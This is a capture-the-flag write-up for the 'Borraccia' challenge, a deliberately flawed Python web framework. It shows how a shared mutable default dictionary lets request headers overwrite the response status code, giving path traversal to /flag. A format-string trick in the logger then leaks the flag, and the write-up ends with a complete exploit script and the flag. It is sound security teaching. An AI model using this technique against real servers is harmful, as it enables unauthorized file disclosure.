I introduce to you Borraccia!
Borraccia is a minimal web framework which puts security first. Are you asking how he does it? Well, by removing (almost) all the features that I consider useless. Obviously it's written in Python, so it's 100% safe!
Note: You are limited to 60 requests per minute. It's recommended to test it locally first.
Site: http://borraccia.challs.teamitaly.eu
Author: Salvatore Abello <@salvatore.abello>
In this challenge we are given an application which uses a custom, poorly-written web framework, called Borraccia (Flask in italian).
The challenge is tagged as a misc, so we probably need to use some Python shenanigans in order to solve the challenge.
The first thing that catches our attention is something called ObjDict, let's see how it's implemented and what it does:
class ObjDict:
def __init__(self, d={}):
self.__dict__['_data'] = d # Avoiding Recursion errors on __getitem__
def __getattr__(self, key):
if key in self._data:
return self._data[key]
return None
def __contains__(self, key):
return key in self._data
def __setattr__(self, key, value):
self._data[key] = value
def __getitem__(self, key):
return self._data[key]
def __setitem__(self, key, value):
self._data[key] = value
def __delitem__(self, key):
del self._data[key]
def __enter__(self, *args):
return self
def __exit__(self, *args):
self.__dict__["_data"].clear()
def __repr__(self):
return f"ObjDict object at <{hex(id(self))}>"
def __iter__(self):
return iter(self._data)Basically, this class works like an object in JavaScript:
obj = ObjDict() # We can also use `with` operator
obj.first = 10
obj.second = "20"
print(obj.first) # 10
print(obj.second) # 20
print(obj.third) # None
print(obj.secondobj.first) # Error
obj.secondobj = ObjDict()
obj.secondobj.test = "yay"
print(obj.secondobj.test) # yayAt first glance this class would seem fine, but if you know at least the basics of Python, you can see that this class uses a mutable object as default argument!
So, each and every instance of ObjDict shares the same dictionary! This will come in handy later...
We need to read the flag from /flag somehow, so there's probably a path traversal.
We can see three interesting functions:
serve_fileserve_static_fileserve_error
The first two functions are not used inside server.py, so the only function left is serve_error.
Inside server.py:
ctx.response.body = utils.serve_error(ctx.response.status_code)If we can control the value of status_code, we can read arbitrary files.
But... How?! Isn't status_code only modified by the server?
Let's see how the request/response is handled:
ctx.response = ObjDict()
ctx.request = ObjDict()
ctx.response.status_code = 200 # Default valueOh! Did you see that? ctx.response and ctx.request shares the same dictionary!
We can overwrite values thanks to:
for probable_header in filter(None, rows[1:]): # Memorizing headers
if (cap:=HEADER_RE.search(probable_header)):
header = cap.group(1)
value = cap.group(2)
h = utils.normalize_header(header)
v = utils.normalize_header_value(value)
ctx.request[h] = v So, if we send a request with status-code: /flag the server will send the flag to us... Right?
Unfortunately no, let's take a look inside request_handler:
try:
utils.build_header(ctx) # Now the response is ready to be sent
utils.log(logging, f"[{curr}]\t{ctx.request.method}\t{ctx.response.status_code}\t{address[0]}", "DEBUG", ctx)
assert ctx.response.status_code in ERRORS or ctx.response.status_code == 200
except AssertionError:
raise # Something unexpected happened, close conection immediately
except Exception as e:
ctx.response.status_code = 500
ctx.response.header = ""
ctx.response.body = utils.serve_error(ctx.response.status_code) + utils.make_comment(f"{e}") # Something went wrong while building the header.
client.send((ctx.response.header + ctx.response.body).encode())The flag will be loaded inside ctx.response.body but it will not be sent due to that assert, but if we're able to cause an exception (but not an AssertionError) with the flag inside, we can receive it.
The first error that came into my mind is, KeyError:
test = {}
flag = "flag{fake}"
try:
test[flag]
except KeyError as e:
print(e) # 'flag{fake}'Let's see how utils.log is implemented:
def log(log, s, mode="INFO", ctx=None):
{
"DEBUG": log.debug,
"INFO": log.info,
"ERROR": log.error
}[mode](s.format(ctx), {"mode": mode})Do you see something SUSpicious? Of course you do. We can exploit s.format in order to force logging to cause an exception:
def log(log, s, mode="INFO", ctx=None):
{
"DEBUG": log.debug,
"INFO": log.info,
"ERROR": log.error
}[mode](s.format(ctx), {"mode": mode})
try:
log(logging, "%(flag{fake_flag})s")
except Exception as e:
print(e) # flag{fake_flag}We can send a similar header in order to get the flag:
status-code: %({0[response][body]})s
But this is not going to work, there's a blacklist:
@lru_cache
def normalize_header_value(s: str) -> str:
return re.sub(r"[%\"\.\n\'\!:\(\)]", "", s)So we can't use the following characters: %".\n'!:()
Since the blacklist is applied only to headers, we can bypass this by e.g putting those blacklisted characters inside request.params.
import re
import requests
r = requests.get("http://borraccia.challs.teamitaly.eu?a=%(&b=)s",
headers={
"status-code": "/flag",
"method": "{0[request][params][a]}{0[response][body]}{0[request][params][b]}"
})
print("FLAG:", re.search(r"<!--'(flag\{.+\})'-->", r.text).group(1))flag{4Ss3r7_3v3ry7h1nG!1!1!}